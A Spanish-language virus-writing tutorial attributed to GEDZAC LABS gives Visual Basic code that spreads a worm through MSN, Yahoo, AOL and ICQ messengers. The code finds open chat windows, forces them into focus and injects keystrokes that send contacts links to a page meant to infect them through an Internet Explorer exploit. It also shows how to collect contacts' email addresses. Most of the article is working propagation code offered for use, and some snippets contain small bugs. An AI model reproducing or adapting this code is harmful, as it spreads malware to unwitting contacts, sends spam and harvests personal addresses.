Spam en Programas de Mensageria Instantanea: --------------------------------------------- Valido: VB 5 y 6 Probado: -Msn Messenger 6.1 y 6.2 (Español) -Yahoo Messenger 5.6 (Español) y 6.0 (Ingles, Español) -Aol Messenger 5.1 (Español) -Icq Lite 4.0 e 4.14 ----------------------------- *Este Articulo es una actualización del publicado en www.gedzac.tk, seccion articulos, para corregir algunos errores y añadirle algunas mejoras Actualmente mucha gente usa los programas de mensageria instantanea siendo algunos de los más conocidos el Msn Messenger (msn), el Yahoo Messenger (yms), el Aol Messenger (aim), el Icq, y el Trillian Una forma de infectar a los usuarios de estos programas seria enviar un spam invitandolos a visitar una page, que previamente habremos preparado con una vulnerabilidad de internet explorer para que se ejecute el virus apenas sea vista(Usar el bug que más les paresca) Una forma de hacer eso en el msn seria usar las funciones del msn, ir al menú proyecto de VB y entrar a Referencias y marcar Messenger API Type Library, luego usamos este code: Form1---------------------------------------------------------------------- Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Const VK_RETURN = &HD Private Const WM_CHAR = &H102 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 'Definimos msa como un objeto MessengerAPI.Messenger 'este es el objeto principal de las apis del msn Private WithEvents msa As MessengerAPI.Messenger 'Definimos msc como un objeto MessengerAPI.IMessengerContacts 'lo usamos para acceder a propiedades de los contactos Private msc As MessengerAPI.IMessengerContacts 'Definimos iMsn como un objeto IMessengerConversationWnd 'lo usamos para acceder a propiedades de las ventanas de conversacion Dim iMsn As IMessengerConversationWnd Private Sub Form_Load() On Error Resume Next 'Creamos el obj MessengerAPI.Messenger Set msa = New MessengerAPI.Messenger 'Si no lo pudimos crear o no esta conectado (Status = 1) entonces salimos If (msa Is Nothing) Or (msa.MyStatus = 1) Then Exit Sub Asignamos a msc los contactos Set msc = msa.MyContacts 'Empezamos a listar los contactos For x = 1 To msa.MyContacts.Count - 1 'si el contacto esta conectado (Status <> 1) If msc.Item(x).Status <> 1 Then 'Abrimos una ventana de conversacion a ese contacto usando su nombre 'de inicio de secion o SigninName(algo importante) Set iMsn = msa.InstantMessage(msc.Item(x).SigninName) 'Luego pasamos el handle de la ventana de conversacion a SpamMsn SpamMsn (iMsn.hwnd) End If 'Esto es importante, aunque no tiene que ver con lo que estamos tratando 'el nombre de inicio de secion del contacto es su direccion de Email 'Osea que asi tambien podemos obtenerla MsgBox msc.Item(x).SigninName Next End Sub Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim l As Long, spam As String 'pos el mensage que enviaremos al contacto spam = "Infectate en http://www.myserver.com" 'Usamos FindWindowEx para buscar la clase "DirectUIHWND" dentro de la 'ventana de conversacion y obtener el handle que queremos osea el de la 'parte de la ventana donde se digita el texto a enviar l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'luego lo digitamos con postmessage For i = 1 To Len(spam) Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0) Next i 'simulamos un enter con postmessage para enviar el spam Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&) End Sub Form1---------------------------------------------------------------------- Pero esto tiene sus desventajas, ya que solo funcionara en win9x y winME (en 1 xp de 4 en los que se probo, funciono, pero teoricamente no deberia) ademas en winxp no sale en el menu referencias las referencia que deberiamos usar. Pero para obtener los mails de los contactos en los 9x y los Me, si podria servir iniciando un timer(ver más abajo) o un bucle o algo y esperar a que se conecte al msn el user. Un punto a favor de esto podria ser que el spam se enviara a todos los contactos conectados asi el user no este hablando con ellos, pero se abririan ventanas de conversacion, podria resultar sospechoso. Habran notado que el code anterior esta explicado muy ligeramente, ya que no se explica el uso de las apis ni de las constantes, eso porque lo que interesaba explicar en esa parte, era las funciones del msn. A continuacion se explicara mas detalladamente apis y eso, en el metodo para enviar spam del que en verdad trata este articulo. Usando Las clases de las ventanas: ----------------------------------- Primero definiremos que es un handle y una clase: -Handle: es un identificador numerico diferente que tiene cada ventana que este abierta, minimizada, oculta o como sea, tendra un handle -Clase: es un identificador o palabra que tiene cada tipo de ventana y que la diferencia de otros tipos -Ventana Hija(ChildWindow): una ventana, por ejemplo la de conversacion del msn, tiene diferentes partes, la parte donde escribimos el texto, donde lo vemos, las ventanitas que muestran las imagenes para mostrar, etc, todas esas son childwindows y tienen su propio handle y clase. Ejemplo: ------- Como ven hay 2 ventanas del notepad y una de conversacion del msn todas tienen un handle diferente, ya que es un identificador unico el texto del titulo de la ventana es diferente cosa que no nos importa la clase de las ventanas del block de notas, sera siempre Notepad sin importar que archivo estemos abriendo, asi como la de las de conversaci on del msn sera siempre IMWindowClass no importa con quien estemos hablando. Handle Texto de la ventana Clase 1290 Sin Titulo-Block de Notas "Notepad" 2089 MiTexto-Block de Notas "Notepad" 1456 MiConversacion-Msn "IMWindowClass" --------------------------------------------------------------------------- Entonces lo que haremos sera listar todas las ventanas que haya y obtener su clase, luego comparamos con el nombre de las clases de ventanas de conversacion de programas de mensageria, si coinciden entonces obtenemos el handle y lo usamos para buscar dentro de esa ventana la clase de la ventana hija o childwindow que necesitamos(en este caso la parte donde escribimos el texto), y obtener el handle de la ChildWindow Una vez que tenemos el handle, lo usaremos para enviar el spam a la ventana de conversacion y enviarlo al contacto. Un programa para visualizar clases, handles, childwindows, lo podemos descargar de: http://vbnet.mvps.org/files/demos/enumwindowsdemo.zip Ahora iniciamos un nuevo proyecto en vb y agregamos un modulo, ademas del form1 Form1---------------------------------------------------------------------- Private Sub Form_Load() End Sub 'Un timer para listar las ventanas cada cierto tiempo, ponemos su propiedad 'interval a diez mil desde la ventana de propiedades Private Sub Timer1_Timer() 'Apagamos el timer Timer1.Enabled = False 'Definimos x como var integer statica 'Normalmente una var que definimos con Dim dentro de un sub o function 'solo vive hasta que ese sub o function termine, una var statica solo 'morira o solo perdera sus valores cuando termine el programa Static x As Integer 'si x mayor que 60 If x > 60 Then 'establecemos x a 0 de nuevo x = 0 'declaramos l como boolean, ya que EnumWindows nos devolvera un valor 'booleano(False ó True , 0 ó 1) Dim l As Boolean 'Llamamos a la Api EnumWindows para listar las ventanas, 'como primer argumento pasamos el nombre de la funcion a la que debe llamar 'por cada ventana encontrada, usando el operador AddressOf(disponible desde 'vb5) la funcion a la que llamaremos debe residir en un modulo, como segundo 'argumento pasamos 0 'EnumWindows llamara por cada ventana encontrada a la funcion indicada en 'este caso EnumWin y la funcion indicada debe tener una estructura: ' Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean 'donde hwnd es el handle de la ventana y lParam el segundo argumento que pa 'samos a EnumWindows l = EnumWindows(AddressOf EnumWin, ByVal 0&) 'si x menor que 60 Else 'entonces sumamos 1 a x x = x + 1 End If 'Encendemos el timer Timer1.Enabled = True End Sub Form1---------------------------------------------------------------------- Ahora en el modulo: Modulo1-------------------------------------------------------------------- 'Apis y Constantes que usaremos Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Declare Function EnumWindows Lib "user32" (ByVal lpfn As Long, lParam As Any) As Boolean Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Private Declare Function AttachThreadInput Lib "user32" (ByVal idAttach As Long, ByVal idAttachTo As Long, ByVal fAttach As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Const SW_RESTORE = 9 Private Const VK_CONTROL = &H11 Private Const VK_RETURN = &HD Private Const WM_CHAR = &H102 Private Const WM_SYSCHAR = &H106 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 'Funcion a la que llama EnumWindows Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean On Error Resume Next Dim l As Long, wnc As String 'DoEvents para darle tiempo a win, para procesar otras cosas DoEvents 'wnc = a una cadena de 256 espacios wnc = Space$(256) 'Usamos la Api GetClassName para obtener la clase de la ventana, 1° argumen 'to el handle de la ventana de la cual queremos saber su clase, 2° argumento 'una cadena de 256 espacios en la cual la api devolvera el nombre de la 'clase, 3° argumento la longitud de wnc (256), la api tambien devuelve 'un tipo long en l, que es igual a la longitud del nombre de la clase l = GetClassName(ByVal hWnd, wnc, Len(wnc)) 'Ahora usamos l(la longitud del nombre de la clase), para tomar solo los ca 'racteres necesarios a la izquierda y desacernos de lo que sobre de los '256 espacios wnc = Left$(wnc, l) 'si el nombre de la clase contiene a "imwindowclass" entonces encontramos 'una ventana de conversacion de msn If InStr(LCase(wnc), "imwindowclass") <> 0 Then 'pasamos el handle de la ventana al sub SpamMsn SpamMsn (hWnd) End If 'si el nombre de la clase contiene a "imclass" entonces encontramos 'una ventana de conversacion de yahoo messenger If InStr(LCase(wnc), "imclass") <> 0 Then 'pasamos el handle de la ventana al sub SpamYms SpamYms (hWnd) End If 'si el nombre de la clase contiene a "aim_imessage" entonces encontramos 'una ventana de conversacion de aol messenger If InStr(LCase(wnc), "aim_imessage") <> 0 Then 'Declaramos las variables aw, Whs y Whd como tipo entero largo Dim aw As Long, Whs As Long, Whd As Long 'la api GetForegroundWindow devuelve el handle de la ventana que este en 'primer plano o que tenga el foco, lo almacenamos en aw aw = GetForegroundWindow 'Aqui usamos ShowWindow para hacer visible la ventana de conversacion '(osea maximizarla o ponerla en primer plano), ahora si queremos 'maximizar porque no usamos SW_MAXIMIZE, es porque para enviar el spam 'nesecitamos que el foco del teclado este en la parte de la ventana en que 'se digita el texto a enviar(caja de texto) y si usamos SW_MAXIMIZE 'perdemos el foco en esa parte, entonces usamos SW_RESTORE que restaura la 'ventana a su posicion anterior, y como el user seguro la estuvo usando y el 'foco lo tiene en la caja de texto, pos nos pone la ventana con el foco en 'donde lo necesitamos, recordar que hWnd es el handle de la ventana de 'conversacion Call ShowWindow(hWnd, SW_RESTORE) 'Si la ventana de conversacion no esta en primer plano, usamos 'api SetForegroundWindow para situarla en primer plano, a esta funcion 'le pasamos el handle de la ventana que queremos tener en primer plano 'en este caso la ventana de conversacion. 'Esto funciona bien en los 9x, pero en los WinXp, 2000, el sistema 'no permite poner una ventana en primer plano en forma arbitraria 'sino que lo que pasaria es que win solo haria que la ventana flasheara '(osea por ejemplo en una ventana de conversacion de msn, cuando un 'contacto nos habla la ventana si no la tenemos en primer plano se pone 'negra en la barra de tareas, pos algo parecido) osea para avisar al user 'de que vea esa ventana pero no nos la pone en primer plano como 'nesecitamos If (aw <> hWnd) Then 'Para tenerla en primer plano recurrimos a una treta, primero obtenemos 'el hilo de la ventana que esta activa con la api GetWindowThreadProcessId 'y lo guardamos en Wnd, a esta funcion tenemos que pasarle el handle de la 'ventana que queremos obtener el hilo y un cero en este caso, luego 'obtenemos igual el hilo de la ventana de conversacion y lo guardamos en 'Whs Whd = GetWindowThreadProcessId(aw, ByVal 0) Whs = GetWindowThreadProcessId(hWnd, ByVal 0) 'Luego usamos la api AttachThreadInput para atachar, anexar, pegar, el hilo 'de la ventana de conversacion al de la ventana activa, a esta api le 'pasamos 1° el hilo que vamos a anexar, 2° el hilo al que le vamos a anexar 'el otro y 3° True o False dependiendo de si queremos anexar o desanexar, en 'este caso pasamos True para anexar, y ya una vez que window se cree que la 'ventana de conversacion forma parte de la ventana activa, proseguimos Call AttachThreadInput(Whs, Whd, True) 'iniciamos bucle para colocar en primer plano a la ventana de conversacion 'con SetForegroundWindow pasandole su handle, y hasta que 'GetForegroundWindow sea = al handle de la ventana de conversacion osea este 'en primer plano la ventana de conversacion, no salimos de bucle Do Call SetForegroundWindow(ByVal hWnd) Loop Until GetForegroundWindow = hWnd End If 'Llamamos a la Api EnumChildWindows para 'listar todas las ventanas hijas de la ventana de conversacion de aol 'donde 1° argumento es el handle de la ventana de la que queremos listar 'sus ventanas hijas, 2° argumento la funcion a la que debe llamar por 'cada ventana hija encontrada, y 3° argumento pasamos 0 'La funcion a la que se llame debe residir en un modulo y tener la estruc 'tura: ' Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long 'donde chWnd es el handle de la ventana hija, y lParam el 3° argumento pasa 'do a EnumChildWindows Call EnumChildWindows(ByVal hWnd, AddressOf EnumChildProc, ByVal 0&) 'Dormimos 1 seg. Sleep 1000 'DesAnexamos la ventana de conversacion, de la ventana que estaba activa 'observese que el tercer parametro es ahora False Call AttachThreadInput(Whs, Whd, False) 'volvemos a establecer la ventana que estaba en primer plano Call SetForegroundWindow(aw) End If 'Cuando trate de ver la clase de las ventanas de conversacion de icq, me 'daba algo de "#32770", entonces eso de que me de un numero me dio 'un mal presentimiento, ya que podia ser un numero aleatorio o calculado 'de alguna manera y que en otras pc fuera diferente, entonces preferi 'tomar el 1° caracter solamente para distinguir(#), que asumo no cambia 'no se si estoy en lo correcto, pero funciona tambien 'si el 1° caracter de la clase es # If Left$(wnc, 1) = "#" Then 'pasamos el handle a SpamIcq SpamIcq (hWnd) End If 'establecemos que EnumWin regrese un valor True EnumWin = True End Function Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String aw = GetForegroundWindow Call ShowWindow(mHwnd, SW_RESTORE) If (aw <> mHwnd) Then Whd = GetWindowThreadProcessId(aw, ByVal 0) Whs = GetWindowThreadProcessId(mHwnd, ByVal 0) Call AttachThreadInput(Whs, Whd, True) Do Call SetForegroundWindow(ByVal mHwnd) Loop Until GetForegroundWindow = mHwnd End If 'el spam que enviara a la conversacion Spam = "Mira mi virus http://www.myserver.com" 'dormimos un segundo con la api sleep cuyo argumento es un tiempo especifica 'do en milisegundos que nuestra aplicacion estara inactiva (1000/1000 =1seg) Sleep 1000 'Usamos la api FindWindowEx para buscar la clase de la ventana hija que nece 'sitamos(la parte de la ventana donde se escribe el texto) y obtener su 'handle, en este caso estamos buscando una ventana hija cuya clase sea '"DirectUIHWND" '1° argumento handle de la ventana padre donde se buscara la ventana hija '2° argumento el numero de orden desde el que se empezara a buscar, si 'queremos buscar desde la ventana hija que este en la posicion 2, debemos 'colocar el handle de la ventana hija de posicion 2,colocar 0 para buscar 'desde la primera '3° argumento el nombre de clase que se buscara, si no se quiere buscar por 'nombre de clase, colocar cadena nula(vbNullString) '4° argumento el titulo de la ventana que se buscara, si no se quiere 'buscar por titulo colocar cadena nula 'la api devuelve en l un tipo long con el handle si tuvo exito, sino 'devuelve 0 l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'si l=0 no encontramos nada y salimos If l = 0 Then Exit Sub 'hacemos un contador for desde 1 hasta la longitud de spam For i = 1 To Len(spam) 'usamos api PostMessage para colocar el spam en la ventana de conversacion 'PostMessage se usa para postear un mensage u comando en la cola de mensages 'de otra ventana, y a diferencia de SendMessage no espera respuesta de la 'ventana antes de retornar '1° argumento el handle de la ventana donde se posteara el msg '2° argumento, hay varios que se pueden usar segun el comando o msg que se 'quiera enviar y se indican por una constante, (mirar en el visor de api de 'vb la lista de constantes que empiezan con WM_) '3° y 4° argumento dependen de la constante que se utilize en el 2° y se 'usan para pasar valores necesarios para ejecutar el comando o msg 'por ejemplo si enviamos un comando para cerrar la ventana (WM_CLOSE) '3° y 4° seran 0, mientras que si colocamos WM_CHAR estamos indicando que 'enviaremos un caracter a la ventana y 3° sera el valor ascii del caracter 'y 4° sera 0 'Con Asc(Mid(Spam, i, 1)) vamos obteniendo el valor ascii de los caracteres 'que enviaremos, a medida que avanza el contador for Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0) Next 'Usamos PostMessage para simular un enter, para que finalmente se envie el 'msg colocado con WM_CHAR 'WM_KEYDOWN indica que estamos presionando la tecla que se indica en 3° arg 'que en este caso es VK_RETURN (Enter), 4° arg es 0 Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&) 'WM_KEYUP indica que dejamos de presionar la tecla que se indica en 3° arg 'que es el VK_RETURN (Enter) Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&) 'dormimos 1seg. Sleep 1000 Call AttachThreadInput(Whs, Whd, False) Call SetForegroundWindow(aw) End Sub Private Sub SpamYms(ByVal yHwnd) On Error Resume Next Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String aw = GetForegroundWindow Call ShowWindow(yHwnd, SW_RESTORE) If (aw <> yHwnd) Then Whd = GetWindowThreadProcessId(aw, ByVal 0) Whs = GetWindowThreadProcessId(yHwnd, ByVal 0) Call AttachThreadInput(Whs, Whd, True) Do Call SetForegroundWindow(ByVal yHwnd) Loop Until GetForegroundWindow = yHwnd End If spam="Mira http://www.myserver.com" Sleep 1000 'Aqui buscamos la clase que necesitamos para yahoo 6.0 que es "RICHEDIT20a" l = FindWindowEx(yHwnd, 0, "RICHEDIT20a", vbNullString) 'si no encontramos capaz este usando yahoo 5.1 cuya clase es "RICHEDIT" If l = 0 Then l = FindWindowEx(yHwnd, 0, "RICHEDIT", vbNullString) 'si tampoco encontramos, sabe Dios que yahoo estara usando el user, taria 'bueno ponerle un msgbox "Actualiza tu Yahoo" , pero mejor salimos If l = 0 Then Exit Sub For i = 1 To Len(spam) Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0) Next Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&) Sleep 1000 Call AttachThreadInput(Whs, Whd, False) Call SetForegroundWindow(aw) End Sub 'Esta es la funcion que llama EnumChildWindows, para enviar spam por Aol Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long On Error Resume Next Dim l As Long, wnc As String DoEvents 'obtenemos el nombre de la clase wnc = Space$(256) l = GetClassName(ByVal chWnd, wnc, Len(wnc)) wnc = Left$(wnc, l) 'la razon por la cual no usamos FindWindowEx para buscar la clase en esta 'ocasion es porque no funciona con el Aol, prueben y les dara 0, sospecho 'que es porque el aol tiene varias ventanas hijas con el mismo nombre de 'clase 'si es igual a "ate32class" pasamos el handle a SpamAim If LCase(wnc) = "ate32class" Then SpamAim (chWnd) End If 'hacemos que EnumChildProc devuelva 1 o true EnumChildProc = 1 End Function 'aqui es casi lo mismo que en SpamMsn, solo que ya no usamos findwindowex 'porque la funcion EnumChildProc ya nos pasa el handle de la ventana hija 'ni nos preocupamos de poner la ventana como activa, porque eso ya se hizo 'al listar las ventanas en EnumWin Private Sub SpamAim(ByVal aHwnd) On Error Resume Next Dim spam as String spam="mira http://www.myserver.com" Sleep 1000 For i = 1 To Len(spam) Call PostMessage(aHwnd, WM_CHAR, Asc(Mid(spam, i, 1)), 0) Next Call PostMessage(aHwnd, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(aHwnd, WM_KEYUP, VK_RETURN, 0&) End Sub 'Este es pal icq Private Sub SpamIcq(iHwnd) On Error Resume Next Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String aw = GetForegroundWindow If (aw <> iHwnd) Then Whd = GetWindowThreadProcessId(aw, ByVal 0) Whs = GetWindowThreadProcessId(iHwnd, ByVal 0) Call AttachThreadInput(Whs, Whd, True) Do Call SetForegroundWindow(ByVal iHwnd) Loop Until GetForegroundWindow = iHwnd End If spam="mira http://www.gedzac.tk" Sleep 1000 'el nombre de clase que tenemos que buscar aqui es "RICHEDIT20a" l = FindWindowEx(iHwnd, 0, "RICHEDIT20a", vbNullString) If l = 0 Then Exit Sub Call ShowWindow(iHwnd, SW_RESTORE) For i = 1 To Len(spam(sr)) Call PostMessage(l, WM_CHAR, Asc(Mid(spam(sr), i, 1)), 0) Next 'En la version de Icq en que probe, para enviar el msg habia que presionar 'alt+enter, pero no me salia el envio de alt+enter, asi que envio 'un Control+S ,simulamos que se presiona la tecla control(VK_CONTROL) con 'WM_KEYDOWN, luego usamos WM_SYSCHAR para enviar 's', se usa WM_SYSCHAR 'para indicar que no se esta enviando el caracter 's', sino que es una 'combinacion de sistema(crtl+letra o alt+letra), luego simulamos que dejamos 'de presionar control con WM_KEYUP Call PostMessage(l, WM_KEYDOWN, VK_CONTROL, 0&) Call PostMessage(l, WM_SYSCHAR, Asc("s"), 0&) Call PostMessage(l, WM_KEYUP, VK_CONTROL, 0&) Sleep 1000 Call AttachThreadInput(Whs, Whd, False) Call SetForegroundWindow(aw) End Sub Modulo1-------------------------------------------------------------------- (C) Mitosis 3 - GEDZAC LABS